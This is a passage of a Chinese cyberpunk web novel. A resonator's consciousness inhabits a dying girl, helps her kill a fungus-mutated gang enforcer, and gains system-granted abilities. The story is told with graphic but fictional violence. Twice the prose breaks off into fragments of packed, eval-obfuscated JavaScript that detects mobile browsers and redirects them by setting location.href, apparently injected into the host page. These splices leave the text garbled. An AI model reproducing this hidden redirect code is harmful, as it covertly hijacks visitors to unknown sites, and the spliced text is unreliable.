那条被感染的左腿此刻膨胀了一圈,金属骨架外包裹着一层厚厚的、暗红色蠕动的菌丝肌肉,每一步踏在地上都爆发出惊人的力道,震得金属地板隆隆作响,使得他整个人就像一颗出膛的炮弹,利用变态的爆发力瞬间拉近了距离。 “抓到你了。” 腥臭的热气喷在夏雨脸上。 这一次,没有任何预判的空间。 一只覆盖着暗红色菌丝的大手狠狠挥下,像拍苍蝇一样,重重地砸在夏雨的胸口。 “噗——!” 夏雨喷出一口鲜血,整个人像断了线的风筝一样倒飞出去,狠狠撞在废弃的压力阀门上,随后软绵绵地滑落在地。 还没等她喘口气,一只大手——那只手因为刚才的蚀械菌溅射而发生了部分变异,长出暗红色肉芽的金属手指一把掐住了她的脖子,将她硬生生提了起来,悬空在深渊之上。 “咳……咳……” 窒息。剧痛。 李斯那张扭曲的脸凑到了面前,腥臭的涎水滴在夏雨脸上,狞笑着说:“挺能躲啊?再躲一个试试?” 夏雨拼命挣扎,愤怒地两眼通红:“你杀了我妈!还把她的头挂在……挂在……” 她说不下去了。 “哈!”李斯像是听到了什么笑话:“你以为是我害了她?别傻了!这是帮里的决定,我就是个干活的。再说了,你以为你妈是什么好东西?无辜的受害者?” 他不以为然地哂笑一声,继续道: “她在我们帮派的黑名单上挂了好几年了!要不是有人保她,你以为你家那个破铺子能在沉降区开十来年?一边给我们修义体一边出卖我们,我只是按帮派的规矩处理她而已!” 夏雨毫不退缩:“帮派规矩?帮派规矩还包括你带人占了我们家店吗?到底是帮派规矩,还是另有图谋,你自己心里清楚!我妈死了,你们自然想怎么说怎么说!” “你不相信?”李斯扯了扯嘴角,手下加大力度道:“她是为了谁?还不是为了给你这个连脑芯都装不了的二等残废买基因药?可惜啊,两面三刀的人,最后两边都不是人。” 母亲真的为了她故意背叛帮派吗?是因为她,才死的吗?她一直以为那些药是母亲用家里机械铺赚的钱买的。 夏雨一直拒绝去想这些,可她心里明白,如果没有自己,母亲当初根本不会落得今天这个地步。 快要……不能呼吸了……夏雨眼白瞳孔颤动着,在生理性的窒息和心脏被冲击性的话语反复撕扯的痛苦中,她的意识渐渐远去,双眼翻白,双手无力地垂下,昏了过去。 6. 顶号上阵 窒息。 喉管被钢铁般的手指死死扼住,肺里的空气被挤压殆尽。眼前阵阵发黑,耳边全是心脏濒死的轰鸣。 连映接管这具身体的瞬间,就明白了一个残酷的事实: 这具身体太弱了,还浑身是伤,根本对抗不了眼前浑身钢铁的改造人。 系统警告嘶哑地响起: 【警告:载体遭受重创,意识丧失中……连接信号不稳定……】 “呵……这就完了?” 李斯看着地上像死狗一样不动的女孩,眼中的疯狂逐渐变成了残忍的戏谑。 他伸出那只变异的手,一把抓住了夏雨的一条腿,像拖垃圾一样将她倒提起来。 “别急着死……我还没玩够呢。” 他另一只手的机械臂再次变形,在那根早已预热的大口径炮管旁,弹出了几根用来切割金属的高频激光锯。 “我要把你一点点切碎……先从哪儿开始呢?” 嗡嗡作响的激光锯慢慢逼近夏雨的脸。 在夏雨意识断线的瞬间,连映彻底终于得到了这具身体的掌控权。 窒息,痛苦,愤怒,憎恨,后悔,悲伤,绝望,疲惫——掌控这个躯体的同时,连映也接收到了它的主人的全部感受。 此刻,这个素昧平生的女孩的生命已经与她融为一体,她能感受到夏雨胸口的炽热,心脏的跃动,血液在身体里哗哗作响,还有她不甘的意念: 她不想死,也不能死……她还有没有完成的事,绝对不能就这样死去……! 连映忽然意识到,自己已经继续无法置身事外。 她没法袖手旁观,看着一个年轻的生命就这么逝去,哪怕这是游戏或模拟测试,她也没法放着不管。 【这个女孩甚至还没成年。哪怕有一点点时间,让她能想办法救她一命……】 必须找到武器……哪怕是一块碎玻璃! 连映强忍着浑身的痛楚和恐惧,目光在混乱的地面上疯狂搜索。 突然,她的视线定格了。 在李斯那条变异的左腿旁,一团被撕裂的防护服碎片里,那枚刻着漩涡眼睛的金属牌正闪着寒光。 那是刚才打斗时掉出来的。它的边缘锋利,是此刻唯一的利刃。 但是,她够不到。 李斯那庞大的身躯像一座铁塔般挡在面前,他那只沉重的机械脚正好踩在金属牌旁边,只要稍微一动就能把它踩进烂泥里。 可惜,在被掐着脖子提离地面的姿态下,那个距离对现在的连映来说,简直就是天堑。 但是,在此刻短暂的寂静中,连映忽然听到了一种声音,一种她非常熟悉的声音。 不,确切地说,从刚才李斯的手刚刚摸到她的脖子开始,连映就听到了一种声音,她本以为那是外部的噪音,但她刚刚才发觉,那个声音来自李斯,而且异常熟悉。 连映收回目光,死死盯着那只掐住自己脖子的手。 顺着接触点传导过来的,是李斯那混乱不堪的生物电信号。这种声音再熟悉不过,因为这是连映作为情绪流调谐师日日面对的工作。 只是,李斯的电信号要比普通人的杂乱很多,因为那根本不是正常人的思维,那是人类残留的疯狂意识与蚀械菌集体意志正在激烈厮杀的战场。成千上万个杂乱的信号像电流麦一样发出刺耳的噪音。 【强制链接尝试中……】 【警告:检测到高危精神污染源!】 【警告:目标神经回路极不稳定,污染指数95%!继续连接将导致宿主意识受损!】 系统红色的警告在视野中疯狂弹窗。 然而,看着这满屏的红色警告,连映没有恐惧,嘴角反而轻轻勾了一下。 找到了。 在她眼里,此刻的李斯是一台正在运行错误程序的故障机器。他的人脑和体内菌丝都想要控制身体,两股指令流正在他的神经中枢里打架,而且,现在是菌丝占了上风。 也就是说,他的大脑和自我意识现在相当脆弱。 作为调谐师,连映最擅长的就是处理这种“纠纷”。 既然这么挤,那就再给你添把乱吧。 连映彻底放弃了防御。 她主动打开了自己的精神感官,像一个贪婪的黑洞,顺着那只手,主动用意识去共鸣李斯那混乱的大脑。 “嗡——” 这就好比在一个已经满载负荷、即将崩溃的精密天平上,突然又扔上了一根羽毛。 “滋——!!!” 李斯原本狰狞的表情突然僵住了。 他并没有受到攻击,也没有感到疼痛。 他只是……“卡”住了。 因为连映这个未知的、无法解析的“第三方信号”的强行插入,他那脆弱的神经网络瞬间引发了连锁崩溃。 李斯那只掐住夏雨脖子的手,因为运动神经的突发性紊乱,下意识地卸了力,手一松,驱使着夏雨身体的连映立刻趁机落地,扶着旁边的粉碎机,大口大口地喘息呛咳起来。 成了!连映心中一喜。 但代价也是巨大的。 “噗——” 一股温热的液体瞬间从夏雨的鼻腔涌出,又被连映喘息着随手擦掉。 与此同时,李斯那边的状况则更加恶化,由于体内信号紊乱,他此刻正跪倒在地,痛苦地嘶吼着抓挠自己的脸,那条挡路的机械腿终于挪开,露出了后面那枚闪着寒光的金属牌。 这次没有阻碍了! 连映强忍着喉咙和肺部的灼痛,手指闪电般探出,一把扣住了那枚金属牌! 没有多余的动作。 她利用李斯掐住她脖子向上提的力道作为支点,手腕如同毒蛇吐信般向上一送! “噗!” 金属牌尖锐的边角,顺着那道被增生血肉撑开的护甲裂缝,狠狠地刺了进去!然而—— 情况不对。 利刃入肉后并未见血,反倒像刺入了一团厚重的、腐烂的橡胶,或者是某种粘稠的半固态流体。 “嗤……” 刀刃割开的伤口露出了暗红色,但不是血,而是无数只暗红色的疯狂蠕动的细小菌丝。 它们像是有意识一样,瞬间包裹住了刺入的金属牌,甚至试图顺着伤口把这异物“吞”进去。 李斯没有倒下。 他甚至没有惨叫。 他只是歪了歪头,看着插在自己脖子上的金属牌,那双浑浊的眼睛里透出一丝嘲弄。 “……痒。” 他含糊不清地吐出一个字,声音像是从充满液体的肺里挤出来的。 没用?连映的心脏猛地一沉。 看着那翻卷又很快恢复原状的暗色血肉,她这才恍然:李斯的脖子里已经没有正常的血管和神经了!蚀械菌已经完全同化了那个区域,把他变成了一个非牛顿流体般的怪物。普通的物理穿刺对他根本没有致命伤! “这就是……你的……反抗?” 李斯狞笑着,手指猛地收紧。 “咳——!” 连映(夏雨)感觉喉管快要被捏碎了。肺部的空气被彻底挤空,眼前阵阵发黑。 必须……找到弱点…… 他是改造人……他还是需要动力源……不管变成了什么怪物,机械的逻辑不会变…… 但是,他的弱点,在哪儿? 连映并非机械师。在她的视野里,李斯只是一团混乱、扭曲、令人作呕的暗红烂肉。 机械精通是夏雨的能力,不是她的。 连映打开系统界面,看向“载体X-07(夏雨)”的个人资料,技能栏中,“机械感知(待激活)”的文字正在闪烁,连映尝试激活那个能力,然而,那淡蓝色的界面只跳出了一行冰冷的中立提示: 【提示:操作无效。】 【需求同步率:12%/20%(未满足)。】 【原因分析:宿主与载体存在严重的认知和心理隔阂,无法建立深度共鸣通道。双方信任度极低,且宿主潜意识中拒绝认同载体X-07的命运与处境。】 连映沉默了。 拒绝认同? 是啊。她们是不同的灵魂,哪怕在一个身体上,她也不是夏雨。 别人的事,与她无关。 何况,她觉得,自己现在只是个背后灵,本来就做不了什么。 可是……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091505|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连映看着眼前那团代表夏雨意识的、已经微弱如烛火的光团。那是这个女孩十八年来在底层挣扎求生的记忆: 被欺负的童年、母亲尸体浮现河里的那个雨夜、在垃圾堆里翻找零件的日日夜夜……以及那股即便在昏迷中,依然死死咬着牙、不愿意屈服的恨意。 “……妈妈……” 夏雨的心声传来,那声音极其微弱,却像一根针般刺中了连映。 审讯室里的无助、被所有人冤枉的愤怒和母亲离开时的背影……种种情绪掠过心头。 你也想活下去,对吗? 连映静下心来,张开双臂,将自己的精神体彻底敞开,毫不保留地扑向了那团微弱的烛火。 她去拥抱那份恐惧。她去接纳那份绝望。她去感受那颗在胸腔里疯狂跳动的、年轻而又不甘的心脏。 【警告:即将强行进行深度共鸣。该操作将以此解除精神屏障,宿主将承受载体所有的痛觉与负面情绪。是否继续?】 “继续。“ 轰——!! 刹那间,连映感觉自己像是跳进了一池滚烫的岩浆。夏雨胸骨断裂的剧痛、窒息的绝望、对李斯的恐惧与仇恨,毫无过滤地全部砸在她身上。 痛。太痛了。 但在这极致的痛楚中,两人的灵魂频率达到了前所未有的同步。 一连串系统通知接连响起: 【系统提示:检测到宿主正在强行干涉载体底层逻辑……信任值/共鸣度突破临界点!……强行使用“潜能激发”……成功!】 【由于强行突破临界点,共鸣者-095号与载体X-07的信任值提升20点,同步率上升10点,同步率数值满足22%/20%,能够进行初步意念沟通,临时效果持续至本次共鸣链接中断。】 【系统提示:共鸣者095“潜能激发”能力生效,解锁载体X-05核心天赋——【机械感知(初级)】 现实世界。 夏雨的手指突然极其轻微地动了一下,但李斯并没有察觉。 突然,夏雨猛地睁开了眼睛。那双眼睛里没有瞳孔,只有一片流淌的幽蓝色数据流。 是连映。 在【机械感知】的全图视野下,李斯那看似恐怖的变异身躯,在她眼中被瞬间解构成一张由冰冷的线条、热成像色块和能量流动轨迹构成的精密透视图。 左臂激光锯转速2000……右腿菌丝密度过大导致重心□□……核心弱点…… 连映的视线穿透那层厚厚的变异血肉,锁定了李斯右胸那颗正在疯狂过载、发出刺眼红光的微型核能心脏。 在机械感知视野下,它之所以如此明亮,是因为周围原本坚不可摧的机械骨骼和合金护甲,虽然表面看似完好,实则内部结构已经被之前溅射到的蚀械菌严重腐蚀、扭曲、变形! 那些金属防线,现在就像是被白蚁蛀空的朽木,只差最后一击。 它们护佑的那颗机械心脏也正在发出不堪重负的悲鸣,疯狂地泵送着能量,维持着这具早已崩溃的躯体的运作。 而周围那些贪婪的蚀械菌,正像吸血鬼一样密密麻麻地连接在它上面,抽取着它的能量来维持活性。 找到了! 连映控制着夏雨的左手,指尖死死捏住那枚边缘锋利的【星辰与眼睛】金属牌。 看到李斯的状态,她已经大概猜到了这块牌子的特性:它是共鸣催化核心。它能让这种新型蚀械菌活性暴增。 如果这一下直接刺不穿护甲,那就利用它瞬间引爆伤口处的菌群,利用生物腐蚀来替她开路! 但是,这最后一击,不能由我来完成。 这是你的仇。 【夏雨!!醒过来!!看清楚是谁在杀你!!】 连映在夏雨脑海中拼命呐喊,这种呐喊声响彻夏雨的意识海,如同暴雨山中闪电和风的咆哮,唤醒了她沉睡的求生本能。 【夏雨,你想就这样去死吗?你想就这样被自己的仇人杀死吗?】 【夏雨,醒醒!你自己的命,你得自己挣回来!】 夏雨的眸子颤了颤,那是属于她自己的、充满血丝的黑瞳。 她醒了。 7. 干掉老鼠 现实世界。 醒来的瞬间,夏雨原本涣散的瞳孔猛地收缩。 世界变了。 在她濒死的视野中,黑暗退去,取而代之的是一片流淌的幽蓝色数据流,而那个可怕的怪物版李斯被拆解成了无数机械的线条和色块,一个红色的亮点在正像灯塔一样在他胸口闪烁。 这是什么?濒死的幻觉吗?夏雨的意识在混沌中喃喃自语,她忽然想起互助会那些人每天的念诵和仪式,“难道是……神迹?” 她想起了互助会那些疯子天天念叨的“神悯”。 “原来……真的有神吗?你是来接我走的?” 就在她以为自己即将被“神”带往彼岸时,一个声音在她的灵魂深处炸响。 那个声音不是高高在上的神谕,而是带着和她一样的剧痛、一样的喘息、以及一样不屈的恨意。 【这里没有神,只有一个和你一样的灵魂。】 连映的意志如同钢铁般撞入夏雨的脑海,否定了所有的虚妄,只留下了最残酷也最滚烫的真相: 【睁开眼,你要亲自面对自己的命运!】 夏雨浑身一震,似乎意识被锤了一下,终于彻底清醒过来。 “这是……李斯身体的机械透视图!?目镜忽然升级了?不对,这好像不是目镜。” 机械师的本能让夏雨很快辨认出眼前的怪异图景是什么意思,疑惑和惊喜同时涌上心头,然而,此时并不是追根究底的时候。 现在,她必须,立刻干掉李斯。 李斯全身神经已经被蚀械菌腐蚀、改造,感知极其迟钝,因此他并未注意到,夏雨那只原本无力垂下的左手,已经悄无声息地拔出了他脖子上的金属牌,正瞄准了他毫无防备的胸口。 夏雨喉咙里挤出一声嘶哑的怒吼,在半空中猛地卷腹,早已蓄势待发的左手一把攥住那枚金属牌,没有丝毫犹豫,对准那个机械感知视野中红色高亮标记出来的部位,狠狠地、笔直地刺了进去! “……去死!!” “噗嗤——!!” 金属牌尖锐的边角,带着两个女人的意志,噗地穿透那层已被侵蚀酥脆的皮下护甲,扎进肉里。 “咔嚓——!” 随着金属牌刺入,正在生长的蚀械菌迅速被迅速催化繁殖,无数菌丝从四肢百骸朝胸口汹涌簇拥而来,瞬间击穿了那颗正在过载的微型核能心脏。 李斯僵硬的狞笑瞬间凝固在脸上。 “滋——嗡!!!” 李斯的心脏并没有立刻爆炸。相反,失去约束的核能电池瞬间释放出幽蓝色的高能电弧,像无数条发疯的电蛇,顺着李斯体内那些已经被菌丝改造的神经网疯狂乱窜,一直窜到头顶,直接终结了那颗苟延残喘的大脑。 “啊啊啊啊——咯咯……滋……” 李斯的惨叫声变成了变调的电子噪音。 紧接着,令人毛骨悚然的一幕发生了。 失去了统一的中枢指令,那些原本为了战斗而聚合在一起的蚀械菌瞬间失控。在蓝色的电弧中,它们不再维持人类的形态,而是开始了无序的捕食,和爆炸性的恶性增殖。 “咕叽……咕叽……” 李斯庞大的身躯像一团被加热的蜡像,开始融化、扭曲。 他的金属义肢在强酸和高温下发出令人牙酸的扭曲声,暗红色的肉芽从每一块装甲的缝隙里喷涌而出,像盛开的恶之花,瞬间包裹住了他的头颅。 这不是死亡,而是一场盛大而贪婪的变异。 “救……救……” 李斯最后的声音被涌入喉管的菌丝淹没。 几秒钟后,那个曾经名为“李斯”的生物彻底崩塌。他变成了一摊由废铁、电线和暗红色烂肉组成的巨大畸变体。 虽然已经没有了生命体征,但这团“烂肉”依然在抽搐、蠕动,像是一个巨大的、饥饿的胃袋,贪婪地搜索着周围一切可用的生物热源。 夏雨跌坐在离这团不可名状之物不到半米的地方。 “呼……呼……” 她大口喘息着,想要爬远一点,但剧痛和失血让她浑身无力。 “滋——” 那团畸变体似乎感应到了新鲜的血肉气息。 几根暗红色的菌丝触须,像嗅到了腥味的毒蛇,从那堆烂肉中缓缓探出,摇晃着,以此为圆心,向夏雨的方向探了过来。 红色的系统警报在连映的视野中疯狂闪烁: 【警告:检测到高活性生物侵蚀源!】 【警告:载体处于重伤虚弱状态,请尽快远离高危目标!】 【快跑!】 见夏雨没反应,连映想强行控制夏雨的身体后撤,却发现——夏雨不动了。 不是因为恐惧,而是因为……诱惑。 此时的夏雨,眼神涣散,瞳孔中倒映着那团诡异蠕动的红光。在失血过多和剧痛造成的重伤状态下,她的理智防线已经彻底崩塌。 在她的感官里,眼前那团致命的菌丝不再是怪物,而是一团温暖的、散发着甜美气息的能量。 身体的每一个细胞都在尖叫着:好饿……好冷……吃掉它……吃掉它就不疼了…… “……给我……” 夏雨神情恍惚,竟然主动伸出了满是鲜血的手,抓住了那一根探过来的菌丝触须! “嘶——!!” 神志依然清醒的连映顺着夏雨恍惚的眼睛向下一看,目光瞬间凝固:糟了!她刚刚紧握金属牌刺入李斯身体时过于用力,防护手套已经被割开一道口子! 李斯体内喷溅而出的的感染组织,顺着手套的裂口,直接接触到了夏雨手上的新鲜伤口,只见伤口周围的血管正以肉眼可见的速度变成暗红色,并像树根一样向手臂上方蔓延。 “滋——” 那团畸变体似乎感应到了新鲜的血肉气息。几根暗红色的菌丝触须,像嗅到了腥味的毒蛇,摇晃着探了过来。它们散发着一种致命的、甜腻的信息素,那种味道在感官层面直接转化为一种“极致的渴望”。 【警告:检测到高活性生物侵蚀源!】 不行,一定要保持清醒,连映对自己说。 此时她和夏雨感官共通,感受共享,因此,她现在需要抵抗双倍的痛苦和饥渴。 不能接受。 不能屈服。 不能投降。 这是怪物的诱惑。如果屈服了,这个年轻女孩也许会变成怪物。 她几乎本能地知道,如果她选择接受诱惑,那些痛苦都会顷刻不见:不只是夏雨浑身的伤,还有常年折磨她的头痛、幻觉,一切都会消失,就像那个变成了怪物、获得了前所未有力量的李斯。 但与此同时,也一定会有非常可怕的事情发生,而她一定会后悔。 【滚开!】连映在意识里对那些探过来的触须怒吼。 由于夏雨的意识正处于清醒与昏迷的边缘,只有部分身体控制权的连映艰难地抵抗着这种魔鬼般的诱惑,额头冷汗直冒,背部的痛楚愈演愈烈,精神力透支和□□的痛楚双重折磨着她。 然而,命运似乎并不赞赏她的坚持。 【警告!载体意识复苏。控制权正在转移…】 夏雨醒了。 “唔……” 夏雨呻吟一声,慢慢清醒过来。在她的感知里,刚才的剧痛仿佛只是一个噩梦,此刻她正处于一种温暖、恍惚的状态中。 眼前的黑暗消失了,那团蠕动的暗红光芒在她眼中发生了扭曲。 那是……光? 她仿佛看到了童年时,母亲夏清在昏黄灯光下修补零件的背影,那种温暖、安心的感觉让她下意识地想要靠近,想要伸手去抓。 “妈……” 夏雨痴痴地呢喃着,缓缓伸出了那只满是鲜血的手,迎向了那根致命的菌丝。 “别碰!”连映想要阻止,但已经晚了。 “滋溜——” 指尖接触的瞬间。 那美好的幻象瞬间破碎。 轰!! 那团畸变体仿佛找到了宣泄口,无数根微小的菌丝顺着夏雨手上的伤口疯狂涌入! 它们不再是母亲温暖的手,而是决堤的洪水,带着暴虐、贪婪和混乱的原始意识,咆哮着冲进夏雨的血管。 “……呃!!” 夏雨猛地仰起头,身体剧烈抽搐。幻觉破灭后的剧痛和异物入侵的恐怖让她瞬间瞪大了眼睛。 【警告:生物侵蚀开始!载体正在被同化!】 连映心头一紧。 这堆东西在抢夺控制权! 那股入侵的生物信号太强了,那是成千上万个微小个体的嘶吼,嘈杂得像是一百个重金属乐队同时在脑海里炸响。 它们也太吵了!可是,她好像对这种嘈杂异常熟悉……一股强烈的既视感涌上连映心头。 这是一种连映异常熟悉的嘈杂感,是她每天都在面对、每天都要梳理和修建的,存在于每个共感作品里的,嘈杂的情绪流的电子信号声。 她不了解怎么在现实中应对这种异常的生物,但是对于怎样调谐它们在人类意识和感官中的频率表现,她再了解不过,因为这是她每天十几小时面对的工作。 既然拦不住……那就只能让它闭嘴! 情绪流调谐师的职业本能让连映心里的恐惧和烦躁忽然褪去。她一下子就进入了熟悉而平静“深度工作模式”。 她深呼吸一口气,不再透过夏雨的眼睛去观看那恐怖的画面,而是静心感受那些波动的频率和流向,在她意识里,那些疯狂的菌丝变成了一条条严重爆表的红色波形。 太吵了! 那股入侵的生物信号太强了,那是成千上万个微小个体的嘶吼,嘈杂得像是一百个重金属乐队同时在脑海里炸响。 这种混乱、尖锐、毫无逻辑的“噪音”,瞬间激起了连映作为情绪流调谐师的职业强迫症。 她下意识地想要像平时工作那样用神经调谐设备的虚拟操作杆去修剪这些波形。但她立刻反应过来,这里没有神经调谐设备,没有虚拟操作杆,没有操作界面,她只有这一缕寄宿的意识。 怎么做?用什么去碰触这些信号? 在极度的焦躁和专注中,连映死死盯着那些在意识视野里疯狂跳动的红色波形,拼命想要将自己的意志延伸过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091506|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪怕只有一寸。 嗡—— 就在精神紧绷到极致的瞬间,仿佛有一层无形的隔膜被捅破了,一种前所未有的奇异感觉猛地窜上她的天灵盖。 如果不把它叫作错觉,那感觉就像是……她在只有虚无的精神世界里,突然长出了一只“看不见的手”。 那是一股凉意,一股可以随着她的念头流动、伸缩、变幻的能量流。它听话地从她意识深处探出,精准地触碰到了那些原本不可捉摸的生物信号。 【系统提示:检测到高密度脑波干涉,共鸣者095主动调用精神力。】 几行淡金色的半透明小字在视野边缘一闪而过,帮连映确认了这个猜想。 精神力?连映心中一动。原来这就是在这个世界里,能够干涉物质与数据的媒介?好极了。 既然有了“手”,那这就不再是无解的死局,而是一场她最擅长的“精密作业”。 连映没有去对抗那股夏雨的□□和意识根本挡不住的生物能量,而是静心沉入自己的意识中,调动这股刚刚觉醒的、还略显生涩的精神力,将它化作一把精密的“手术刀”,狠狠切入了这股混乱信号的频率核心。 像她每天工作时那样。 【调谐开始——倾听。】 【降噪。】 【分析。】 【修剪。】 【重塑。】 嗡—— 现实世界中。 原本顺着夏雨血管疯狂蔓延、试图撕裂肌肉的暗红菌丝,突然像是被驯服的野兽,褪去了那种暴虐的攻击性。它们原本是用来破坏的指令,在连映的强行修改下,变成了修补。 【吸收开始。】 一股前所未有的热流瞬间冲刷过夏雨濒临崩溃的躯体。 “呼……” 夏雨原本痛苦扭曲的表情松弛下来,发出了一声类似溺水者获救后的长叹。 而对于寄宿在她体内的连映来说,这场“盛宴”带来的变化更加诡异且深远。 那些被“提纯”后的多余生物能量,顺着共鸣连接,源源不断地涌入连映干涸的意识海。 忽然,一种有别于五感的、全新的感知维度在她脑海中展开。 她开始能感受到一种特殊而玄妙的意识能量,那不是电流,也不是热量,而是一种纯粹的、实质化的意志延伸。不但如此,她几乎本能地感觉到,这种力量只和她自己有关、只存在于精神世界。 这是一种很奇怪的感觉。就像是原本一直笼罩在大脑皮层上的那层“磨砂玻璃”被突然擦亮了一块。 她似乎对自己的心灵、情绪乃至神经的活跃程度变得敏锐了起来。 此刻,她能更清晰地感知到自己的感官和情绪的细微波动,就如同做情绪和感官流调谐时,那些情绪和感受实质化般如同微弱的电流一样在意识边缘游走。 不但如此,周围的世界似乎也变得有些不同了。空气中尘埃的浮动、夏雨呼吸的频率、甚至是远处水滴落下的声音,都带着一种前所未有的颗粒感挤进了她的感知里。 这种大脑微微发烫、对自己的感官、内心活动乃至周围世界异常清明的陌生体验……难道,这就是所谓的“精神力”? 甚至,在这一片清晰的感官数据中,她还隐约捕捉到了不远处的阴影里有一丝极其微弱、像苔藓一样阴冷的窥视感。 错觉吗? 连映没来得及细想,因为脑海中的系统界面突然发生了异变。 滋—— 脑海中那个一直呆板、卡顿的幽蓝色系统界面,仿佛响应着这股力量的觉醒,突然发生了一阵液态般的蠕动。 原本粗糙的像素线条瞬间崩解,重组成了极其丝滑、精致的全息流体UI。就像是一个劣质的DOS系统,突然进化成了拥有自我意识的超级AI。 几行崭新的、泛着淡淡金光的文字,伴随着一种更加悦耳的提示音,在她眼前弹跳而出: 【能量捕获完成。系统模组自修复:15%。】 【检测到载体(X-07)处于濒死状态,请选择能量分配模式:】 A.【掠夺】:独吞能量。收益:精神力大幅提升,若载体死亡,可获得尸体临时控制权。 B.【共生】:反哺能量修复载体。收益:精神力小幅提升,载体存活,信任值+20。 连映看着那两个选项,连一秒钟的犹豫都没有。 只有傻子才会杀鸡取卵。 在这个危险的地下世界,一具听话且有成长潜力的活体队友,远比一具只能用一次的尸体有价值得多。 “共生。” 她在意识中冷冷下令。 嗡—— 指令下达的瞬间,那股原本属于李斯的狂暴生命力被系统转化为温和的蓝光,顺着血管反哺回夏雨体内。 那些受损的细胞像是被打了一针强效修复剂,以肉眼可见的速度开始愈合。原本血肉模糊的伤口迅速结痂、脱落,露出新生的粉色皮肤。 【共生修补完成!】 【载体生命体征恢复。载体对宿主的信任度提升至:-10,共鸣同步率提升10%。】 8. 精神力开启 呼……连映在意识里轻轻松了口气。 此刻,她能感到自己意识一直存在的眩晕感消失了,入狱几天意识深处一直没有消退的那种精神上的疲惫感也消失了,她重新感到神采奕奕,仿佛睡了长长美美的一觉。 不止如此,她刚刚觉醒的精神力的感知范围似乎也稍稍扩大了些许。 除此之外,系统的结算通知界面上还有一条任务完成的奖励结算信息: 【临时任务完成!】 【任务奖励获得:共鸣能力盲盒抽奖x1(盲盒范围:链接者共鸣潜能所属分类下的所有能力)】 【共鸣者095,是否现在抽取盲盒?是/否】 没有人能拒绝免费抽奖,连映也不例外,于是她毫不犹豫地选择了“是”。 一阵光芒闪过,一个橙色的信息框蹦了出来。 【恭喜你欧气爆棚,抽到了一个高级能力!】 高级能力!? 连映有点期待地看向信息框里的能力详情: 【技能共享(初级):您将能够自由使用同步率超过25%的载体的任意一个技能,技能冷却时间:4小时。当前可共享技能:机械感知(初级)】 连映又看了一眼载体界面她和夏雨的同步率,心里涨起一丝微微的喜悦:【共鸣同步率:27% / 25%】 “夏雨的命保住了,还多了个技能,总算没有白忙活。” 她赌赢了。 虽然过程惊险万分,但结果是——她们活下来了,而且变得更强。 此刻,连映的感知异常敏锐玄妙。她感到一股庞大的热流冲刷过夏雨的血管,那些受损的细胞像是被打了一针强效兴奋剂,开始以惊人的速度分裂、再生。原本濒临崩溃的身体机能被强行拉升到了巅峰。 而连映自己的意识,也像是在干涸的沙漠里喝到了一口甘泉,原本枯竭的精神力瞬间充盈起来,思维变得前所未有的清晰。 代价是李斯的彻底毁灭。 随着能量被连映抽离,李斯被蚀械菌侵蚀改造的大部分躯体迅速灰败、硬化。 那些原本狂暴增殖的血肉,此刻像风化了千年的岩石一样瞬间崩解,变成了一堆灰黑色的、多孔的、无法辨认的生物矿渣,甚至连喷溅出的血迹都没有留下。 所有的有机质似乎都在刚才那场诡异的“吞噬”中被吸干了,只留下一地干燥的、散发着怪异焦糊味的尘埃。 地上,或者说,世上,再也没有“李斯”这个人了。 只有几根扭曲变形的工业金属连杆,以及几块尚未被侵蚀殆尽的、带有明显“碎铁帮”涂鸦风格的廉价义肢外壳,孤零零地滚落在灰烬旁。 这些粗糙的金属垃圾,是唯一能证明这里曾经存在过一个帮派暴徒的痕迹。 这到底是怎么回事?连映心中困惑不解。 她能感到自己明显有所不同,她的大脑前所未有地清醒灵敏,比以前任何一个时候都要好,她甚至觉得自己变聪明了。 “……怎么回事?”另一个意识接管了躯体,喃喃的话语和连映的心声重合,“……我刚才好像晕过去了?” 夏雨完全清醒过来了。刚才那几分钟的记忆是断片的,她只觉得身体莫名地轻盈,身体各处的痛楚消失了,周围的一切声音、气味都变得异常清晰,整个人状态十足。 重回被困的意识体状态,连映在心中自我安慰道:夏雨的生存危机解除,她自己也不用受到连累变成脑死亡植物人,还得到了奖励,她至少没有损失什么。 “老鼠呢?”刚刚清醒过来的夏雨警惕地四处张望。 【死了。】忽然,她脑海中有一个女声出声回道。 “哈?!那尸体呢?——不是,等等,你谁?大脑黑客?这底下没外网,内网信号我也早关了,你什么时候进的我脑子里?还是说你是我忽然苏醒的第二人格什么的?” 夏雨被惊得炸了毛,心里的疑问一股脑脱口而出。 【尸体在你脚边。】女声淡淡道,没有回答其他问题。 “脚边?”夏雨低下头,满地狼藉和灰色渣滓中,一颗残破狰狞的头颅睁大眼睛盯着他,眼中红光闪烁。 那是李斯的头。 或者说,是剩下那一半还没来得及被蚀械菌完全吞噬的李斯。 那景象足以让任何一个第一次杀人的人做许久噩梦。 他的左半边脸还是人类的模样,皮肤惨白,带着死前极度的惊恐与痛苦。右半边脸则已经彻底硬化,暗红色的菌丝像植物根茎一样刺破皮肤,又从鼻腔嘴角钻出。 他的表情被永远定格在了“人类”与“怪物”的临界点上,浑浊的左眼死死地瞪着,像是无声的质问,又像是恶毒的诅咒。 尸体旁边那堆暗红色的渣滓中,还散落着几根被腐蚀过的、扭曲变形的金属骨架和金属指骨残渣。 空气突然变得死寂,只有远处下水道滴水的声音。 “呕——” 夏雨原本紧绷的神经瞬间崩断,她猛地跪倒在地,胃部剧烈抽搐,对着旁边的污水干呕起来。 